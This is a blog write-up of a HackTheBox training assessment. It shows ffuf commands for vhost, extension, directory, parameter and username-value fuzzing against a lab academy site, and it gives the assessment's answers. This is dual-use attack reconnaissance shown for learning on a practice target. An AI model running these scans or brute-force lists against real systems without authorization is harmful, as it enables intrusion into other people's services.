HackTheBox - Attacking Web Applications with Ffuf - Skills Assessment Walkthrough

Ido AbramovIdo Abramov
5 min read

Scenario

You are given an online academy's IP address but have no further information about their website. As the first step of conducting a Penetration Test, you are expected to locate all pages and domains linked to their IP to enumerate the IP and domains properly.

Finally, you should do some fuzzing on pages you identify to see if any of them has any parameters that can be interacted with. If you do find active parameters, see if you can retrieve any data from them.

Walkthrough

Target system 94.237.60.55:59406

First, add the server's IP address to the /etc/hosts file:

sudo sh -c 'echo "94.237.60.55 academy.htb" >> /etc/hosts'

Q1 - Run a sub-domain/vhost fuzzing scan on '*.academy.htb' for the IP shown above. What are all the sub-domains you can identify? (Only write the sub-domain name).

Solution:

Perform fuzzing on both subdomains and virtual hosts

Subdomains fuzzing:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://FUZZ.academy.htb:59406/

Shows no results.

Next, virtual hosts fuzzing:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:59406/ -H "Host: FUZZ.academy.htb"

A large number of results are returned, with most having a size of 985.

Use Burp Repeater to view the response from a request to academy.htb:59406 :

And to mysql.academy.htb:59406 :

The response appears to be the same. This can be explained by the fact that when the Host header specifies a virtual host that doesn't exist, the server treats it like the default request. However, once we hit a virtual host that does exist, we'll receive a different response.

Filter the requests with a size of 985:

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt:FUZZ -u http://academy.htb:59406/ -H "Host: FUZZ.academy.htb" -fs 985

We found 3 subdomains: faculty, archive and test !

Q2 - Before you run your page fuzzing scan, you should first run an extension fuzzing scan. What are the different extensions accepted by the domains?

Solution:

First, add all 3 subdomains found earlier to the /etc/hosts file:

sudo sh -c 'echo "94.237.60.55 test.academy.htb" >> /etc/hosts'; sudo sh -c 'echo "94.237.60.55 archive.academy.htb" >> /etc/hosts'; sudo sh -c 'echo "94.237.60.55 faculty.academy.htb" >> /etc/hosts'

Create a list containing the names of the 3 subdomains:

Then, start fuzzing for file extensions (we use index page since, most websites use the index page as the main page):

ffuf -w ./Desktop/subdomains.txt:FUZZ -w /usr/share/seclists/Discovery/Web-Content/web-extensions.txt:BUZZ -u http://FUZZ.academy.htb:59406/indexBUZZ

The discovered extensions are: .php, .phps, and .php7.

Q3 - One of the pages you will identify should say 'You don't have access!'. What is the full page URL?

Solution:

Next, run directory fuzzing to find the page containing the text ‘You don’t have access’ :

ffuf -w ./Desktop/subdomains.txt:BUZZ -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt:FUZZ -u http://BUZZ.academy.htb:59406/FUZZ -recursion -recursion-depth 1 -e .php, .phps, .php7 -mr "You don't have access"

Let’s break it down:

The -recursion -recursion-depth 1 options enable recursive searching. If a directory is found, fuzzing will restart on http://BUZZ.academy.htb:59406/<DIR_FOUND>/FUZZ. The recursion will go up to 1 level deep.

-e .php, .phps, .php7 - will additionally search for pages with these extensions.

-mr "You don't have access" - uses a regex match to filter requests, showing only those whose responses contain the string ‘You don’t have access’.

It will also test all 3 subdomains for directories and files:

Found courses directory:

Found linux-security.php7 in courses directory:

And the complete path:

http://faculty.academy.htb:59406/courses/linux-security.php7

Q4 - In the page from the previous question, you should be able to find multiple parameters that are accepted by the page. What are they?

Solution:

We will use the results from the previous step to perform parameter fuzzing on both GET and POST requests.

For GET request parameter fuzzing, we will use:

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://faculty.academy.htb:59406/courses/linux-security.php7?FUZZ=1

And after adding -fs 774:

user parameter found in the GET request !

Next, we will perform parameter fuzzing on POST requests:

ffuf -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt:FUZZ -u http://faculty.academy.htb:59406/courses/linux-security.php7 -X POST -d 'FUZZ=1' -H 'Content-Type: application/x-www-form-urlencoded'

Let’s break it down:

-X POST - changes the HTTP request method to POST (GET is the default, so -X GET is not needed).

-d ‘FUZZ=1’ - adds data to the request body.

-H ‘Content-Type: application/x-www-form-urlencoded' - sets the Content-Type header to application/x-www-form-urlencoded, which is required because PHP POST requests typically accept data in this format.

Add after adding -fs 774:

We found two more parameters in the POST request: user and username !

Q5 - Try fuzzing the parameters you identified for working values. One of them should return a flag. What is the content of the flag?

Solution:

Now, we have one parameter from the GET request and two parameters from the POST request.

We need to fuzz the values of all 3 parameters to find a response containing the flag.

Since all 3 parameters are related to usernames, we can assume the values should be valid usernames. Therefore, we will use a username list for fuzzing.

First, we will fuzz the GET request with the user parameter:

ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ -u http://faculty.academy.htb:59406/courses/linux-security.php7?user=FUZZ -fs 780

Meanwhile, I executed fuzzing on the values of the other two POST request parameters simultaneously:

user parameter value fuzzing:

 ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ -u http://faculty.academy.htb:59406/courses/linux-security.php7 -X POST -d 'user=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs 780

And username as well:

ffuf -w /usr/share/seclists/Usernames/xato-net-10-million-usernames.txt:FUZZ -u http://faculty.academy.htb:59406/courses/linux-security.php7 -X POST -d 'username=FUZZ' -H 'Content-Type: application/x-www-form-urlencoded' -fs 781

As we can see, the last one has some results. Let’s check them in Burp repeater while the fuzzing is still running:

Surprisingly, we found the last flag ! 😎

0
Subscribe to my newsletter

Read articles from Ido Abramov directly inside your inbox. Subscribe to the newsletter, and don't miss out.

Written by

Ido Abramov
Ido Abramov